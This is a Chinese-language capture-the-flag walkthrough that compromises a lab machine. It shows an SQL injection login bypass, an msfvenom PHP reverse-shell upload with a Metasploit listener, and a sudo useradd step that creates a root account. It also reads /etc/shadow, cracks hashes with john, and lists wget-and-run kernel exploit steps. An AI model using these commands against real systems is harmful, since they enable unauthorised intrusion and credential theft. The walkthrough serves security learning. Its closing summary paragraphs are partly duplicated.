免责声明:以下内容仅供学习参考,如果用于任何非法途径,后果自负,希望大家做一个遵纪守法的好公民,一起保护我们的网络安全!!!
文章目录
信息收集
网段扫描
nmap 192.168.63.0/24 -p-
扫描出
IP
为192.168.63.129
的主机开放了80端口和22端口,尝试访问80端口,发现一个管理系统网站,并且网址重定向到了192.168.63.129/lot,确认为靶机
IP详细扫描
nmap 192.168.63.129 -A -p-
发现靶机系统为
linux
内核,http
服务用的是apache/2.4.3(Debian)
敏感目录扫描
由于靶机的首页重定向到了lot路径,所以使用
dirb
对这个路径进行扫描dirb http://192.168.63.129/lot
扫描出一个可以访问成功的敏感网页——登录界面(
http://192.168.63.129/lot/admin/
)
渗透阶段
SQL注入
看见登录框,必然联想到 SQL注入
,于是使用万能用户名' or 1=1 -- -
尝试登录,这里仅仅将万能用户名填入用户名框,尝试登录,发现登录成功,来到了这个页面:
大胆猜测
到此,由于我仅仅输入了用户名,并没有输入密码,依然登录成功,所以在这里大家应该可以猜测出这个靶机的登录验证逻辑是什么了。
登录验证逻辑猜测:
获取用户输入的用户名密码,通过一条查询的
sql
同时校验登录信息,类似于下面这条sql
:select count(1) from users where user = '用户名' and password = '密码';
所以我只需要输入一个万能用户名,由于完成用户名中的注释符号
-- -
注释后面的sql
即可让这个sql
永远有值返回,从而绕过校验。
发现文件上传漏洞
在登录进去之后,发现左边有多个板块,在仔细查看之后,发现了有两个地方,可以上传文件:
根据这个网页的路径indx.php
字样,可知是服务端是PHP
,所以我尝试上传了一个PHP
文件,发现上传成功,从而确定这个靶机并没有做文件上传过滤,任何文件都可以上传,并且我上传了一个图片之后,这个网页会直接把这个图片展示在页面上,说明网站解析了我们上传的文件。
生成PHP
木马
通过上面发现的文件上传漏洞,我们可以想到,既然网页会解析我们上传的任意文件,那么假设我们上传了一个木马文件,是不是也会解析,又由于该靶机的服务端是PHP
编写,所以我们如果上传一个PHP
的木马文件,里面写上反弹Shell的代码,当服务器解析之后就会主动连接我们的 kali
,从而获得反弹shell。
所以接下来,我们要使用 kali
的 msfvenom
工具来生成 PHP
木马文件,以下命令可以生成PHP
木马文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.63.131 lport=4444 R>yuanboss.php
生成该木马文件之后,将其上传到该网页中即可。
配置MSF
监听信息
- 启动
msfconsole
- 使用后门模块:
use exploit/multi/handler
- 配置payload:
set payload php/meterpreter/reverse_tcp
- 配置
kali
的IP
:set lhost 192.168.63.131
- 配置
kali
的监听端口
:set lport 4444
- 启动监听:
run
获得反弹Shell
在经过以上配置之后,刷新靶机的网页,可以看到 kali
成功拿到meterpreter
,成功获得反弹Shell。然后输入Shell命令获取靶机的终端,但是这个终端和正常终端显示不一样,没有显示当前用户路径啥的,所以可以通过以下 python
命令优化终端显示(前提是靶机有python环境):
python -c "import pty;pty.spawn('/bin/bash')"
在Shell中查找线索
查看身份:
whoami
,当前用户是一个网站的用户身份www-data
,并不是普通用户查看
/etc/passwd
:cat /etc/passwd
,如下图可以发现一个普通用户ppp
查看家目录下的用户:
ls /home
,可以看到家目录下有个ppp
文件夹,前面又发现该靶机有个名为ppp
的普通用户,所以猜测这个ppp
文件夹应该存在与ppp
用户相关的信息。查看
ppp
目录:发现local.txt
发现
local.txt
的内容为:f29cea45f473ebfa834885c4ff70ec1a
将这个内容放到在线字符统计的网站查看字数,发现一共有32位,所以猜测这应该是
md5
加密,于是打开md5
在线解密网站,解密失败。所以只能想其他方式查找和普通用户
ppp
相关的线索了,于是想到使用find
命令进行全局搜索与ppp
有关的内容:find / -name ppp
但是终端输出了很多没有权限的目录信息,这些目录是没有意义的,终端显示太多导致查看有效目录不方便,所以上网查找有没有过滤这些无用信息的方式,于是就找到了该命令:
find / -name ppp 2>/dev/null
在这个命令中,
2>/dev/null
表示将标准错误输出重定向到/dev/null
设备文件中,这样任何错误消息都会被丢弃,只有匹配的文件名才会被输出,使用该命令之后,终端输出如图所示:发现在
/etc
配置文件的目录中有个ppp
目录,猜测里面有ppp
相关的配置信息,于是进目录查看:发现有个带
secrets
字样的文件,于是cat chap-secrets
查看:看到用户名
ppp
,还有一串文本:ESRxd7856HVJB
,猜测这个文本就是ppp
用户的密码。
获取用户普通权限
于是通过以下命令,使用上面获得的密码进行SSH连接尝试:
ssh ppp@192.168.63.129
SSH连接成功,发现 ppp
普通用户的密码果然是ESRxd7856HVJB
为了方便操作,使用 SSH连接工具FinalShell
直接连接这个普通用户的终端。
尝试提权姿势
经过网上相关资料的查找,常用提权方式有以下几种:
1.
suid
提权:find / -perm -u=s -type f 2>/dev/null
2.
sudo
提权:使用 sudo -l 查询具有sudo权限命令,然后使用对应的命令提权
3.
通过某些方法在/etc/passwd添加一个root权限的账户进行提权
4.计划任务提权:
find / -writable -type f 2>/dev/null 查找可利用的可写文件,若是计划任务文件可写即可利用提权
5.内核提权:
先使用
uname -a
查看系统内核
再使用kali
的searchsploit
工具搜索内核是否有漏洞:searchsploit 版本号
如果有内核漏洞,通过earchsploit -m 漏洞库编号
下载对应的漏洞利用文件
编译漏洞文件:gcc
漏洞编号.c -o exp
赋予exp
权限:chmod 777 exp
kali
开启http
服务:python3 -m http.server 80
靶机通过wget
下载exp
:wget http://192.168.63.129/exp
靶机执行:
./exp
提权成功
经过以上方法的尝试,发现可以利用 sudo
提权,输入sudo -l
:
可以查看到有个命令 useradd
,具有root权限,所以可以使用这个命令来添加任意一个root用户,例如以下命令,生成一个具有root权限的用户:
sudo useradd -p `openssl passwd 123456` yuanboss -o -u 0 -g root -G root -s /bin/sh -d /home/test
这个命令的意思是添加一个用户名为yuanboss
,密码为123456的root权限用户。
通过 su test
,尝试登录,发现登录成功,但是终端命令和正常的不一样,所以通过Python命令优化终端显示:
python -c "import pty;pty.spawn('/bin/bash')"
可以看到,成功提权到root权限。
收集root用户信息
1.查看/etc/shadow
,找到root用户密码的密文:
密文:
$6$aBG5Ff5jWCF1R.b9$xX/d3MFwhsoPVGrTPAJnzF8WOsywsv6y0ePUzx8IHw8bcDfUxrKPY9cVQFOYoH384iNgtEr8F7ywB0M4pXE8G/
将密文放到pwd.txt
文件中,john解密:john pwd.txt
,最终解密失败,应该是密码太复杂的原因,无法撞库,不过关系不大,自己已经创建了一个具有root权限的test用户。
2.进入root用户的根目录,cd /root
,通过 ls -a
查看:
发现了一个 proof.txt
文件,查看文件内容,发现依旧是一个32位的字符串:21bae0a12690199cde7a65bff57723a5
,于是尝试去 MD5在线解密
,依旧解密失败
靶机到这就结束了,通过以上的渗透,已经成功获取了root用户,完美拿下这个靶机。
总结
通过这次的打靶经验,我感觉有些思维定式或许是突破口,比如看到登录框,就想到了 SQL注入
,然后从这个点入手,直接登录后台,最好需要知道这个后台是什么语言编写的,比如这个靶机,进入后台之后,我们可以看到网址的路径带有php
,然后就可以确定服务端是 PHP
了,这也是信息收集的一部分,要确定服务端编写语言,然后再从这个网页找漏洞,看到了两个可以文件上传的入口,看到文件上传,我们就应该想到,我们可以往服务器里面放东西了,这个动作对对方来说是非常危险的,因为作为黑客,可能有各种各样的方式将一个木马文件传到服务器,然后让服务器解析,执行我们的木马。
所以可以通过尝试各种文件上传,验证文件上传漏洞,特别是使用服务端语言编写的文件,接下来自然就是利用木马文件获得反弹Shell了,最后拿到的是网站目录的Shell,这个时候终端看起来不友好,就需要使用Python代码优化终端显示了,然后一般再到家目录收集信息,这个时候收集信息的目的一般就是普通用户了,所以需要找普通用户,可以通过passwd
文件看有什么普通用户,然后通过 find命令进行全局搜索与普通用户名相关的文件,然后慢慢查找相关信息,最后拿到普通用户的密码。
拥有普通用户的权限之后,就可以尝试各种提权方式了,比如sudo
,suid
,内核漏洞,定时任务文件可写权限等方式。然后各个方式尝试一下,最后一般可以拿到root权限了。
文件获得反弹Shell了,最后拿到的是网站目录的Shell,这个时候终端看起来不友好,就需要使用Python代码优化终端显示了,然后一般再到家目录收集信息,这个时候收集信息的目的一般就是普通用户了,所以需要找普通用户,可以通过passwd
文件看有什么普通用户,然后通过 find命令进行全局搜索与普通用户名相关的文件,然后慢慢查找相关信息,最后拿到普通用户的密码。
拥有普通用户的权限之后,就可以尝试各种提权方式了,比如sudo
,suid
,内核漏洞,定时任务文件可写权限等方式。然后各个方式尝试一下,最后一般可以拿到root权限了。